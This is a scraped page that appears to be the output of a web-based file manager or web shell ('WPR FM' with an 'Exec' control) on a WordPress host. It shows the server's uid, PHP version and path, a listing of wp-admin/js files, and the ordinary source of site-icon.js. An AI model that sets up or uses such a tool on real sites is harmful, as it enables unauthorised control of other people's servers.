WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
accordion.js
2933
x
-
accordion.min.js
758
x
-
application-passwords.js
6394
x
-
application-passwords.min.js
3024
x
-
auth-app.js
5796
x
-
auth-app.min.js
2084
x
-
code-editor.js
17963
x
-
code-editor.min.js
3543
x
-
color-picker.js
9768
x
-
color-picker.min.js
3486
x
-
comment.js
5205
x
-
comment.min.js
2081
x
-
common.js
70438
x
-
common.min.js
26225
x
-
custom-background.js
3435
x
-
custom-background.min.js
1206
x
-
custom-header.js
2023
x
-
customize-controls.js
295905
x
-
customize-controls.min.js
112538
x
-
customize-nav-menus.js
114134
x
-
customize-nav-menus.min.js
48272
x
-
customize-widgets.js
71727
x
-
customize-widgets.min.js
28065
x
-
dashboard.js
27562
x
-
dashboard.min.js
8711
x
-
edit-comments.js
38139
x
-
edit-comments.min.js
15515
x
-
editor-expand.js
42606
x
-
editor-expand.min.js
13451
x
-
editor.js
45055
x
-
editor.min.js
13085
x
-
farbtastic.js
7849
x
-
gallery.js
5543
x
-
gallery.min.js
3741
x
-
image-edit.js
40936
x
-
image-edit.min.js
15515
x
-
inline-edit-post.js
20676
x
-
inline-edit-post.min.js
9586
x
-
inline-edit-tax.js
7797
x
-
inline-edit-tax.min.js
2997
x
-
iris.min.js
23643
x
-
language-chooser.js
890
x
-
language-chooser.min.js
423
x
-
link.js
4873
x
-
link.min.js
2319
x
-
media-gallery.js
1303
x
-
media-gallery.min.js
611
x
-
media-upload.js
3465
x
-
media-upload.min.js
1152
x
-
media.js
6765
x
-
media.min.js
2439
x
-
nav-menu.js
62617
x
-
nav-menu.min.js
30785
x
-
password-strength-meter.js
4236
x
-
password-strength-meter.min.js
1123
x
-
password-toggle.js
1339
x
-
password-toggle.min.js
847
x
-
plugin-install.js
7086
x
-
plugin-install.min.js
2403
x
-
post.js
40494
x
-
post.min.js
19415
x
-
postbox.js
18937
x
-
postbox.min.js
6761
x
-
privacy-tools.js
11146
x
-
privacy-tools.min.js
5189
x
-
revisions.js
34729
x
-
revisions.min.js
18401
x
-
set-post-thumbnail.js
876
x
-
set-post-thumbnail.min.js
620
x
-
site-health.js
13880
x
-
site-health.min.js
6474
x
-
site-icon.js
6853
x
-
site-icon.min.js
2532
x
-
svg-painter.js
3280
x
-
svg-painter.min.js
1567
x
-
tags-box.js
11140
x
-
tags-box.min.js
3077
x
-
tags-suggest.js
5771
x
-
tags-suggest.min.js
2269
x
-
tags.js
7839
x
-
tags.min.js
3111
x
-
theme-plugin-editor.js
26176
x
-
theme-plugin-editor.min.js
12104
x
-
theme.js
57419
x
-
theme.min.js
27554
x
-
updates.js
111999
x
-
updates.min.js
48443
x
-
user-profile.js
18161
x
-
user-profile.min.js
7914
x
-
user-suggest.js
2301
x
-
user-suggest.min.js
676
x
D
widgets/
-
widgets.js
23098
x
-
widgets.min.js
12609
x
-
word-count.js
7696
x
-
word-count.min.js
1530
x
-
xfn.js
740
x
-
xfn.min.js
458
x
Upload
Simpan
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), $adminBarSiteName = $( '#wp-admin-bar-site-name' ), $adminBarSiteNameLink = $adminBarSiteName.children( 'a' ).first(), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // Replace the site icon in the admin bar. $adminBarSiteNameLink.children( 'img.site-icon' ).remove(); $( '<img />' ) .attr( { class: 'site-icon', src: attributes.url, alt: '', width: 20, height: 20, } ) .prependTo( $adminBarSiteNameLink ); $adminBarSiteName.addClass( 'has-site-icon' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); // Remove the site icon from the admin bar. $adminBarSiteNameLink.children( 'img.site-icon' ).remove(); $adminBarSiteName.removeClass( 'has-site-icon' ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );
Exec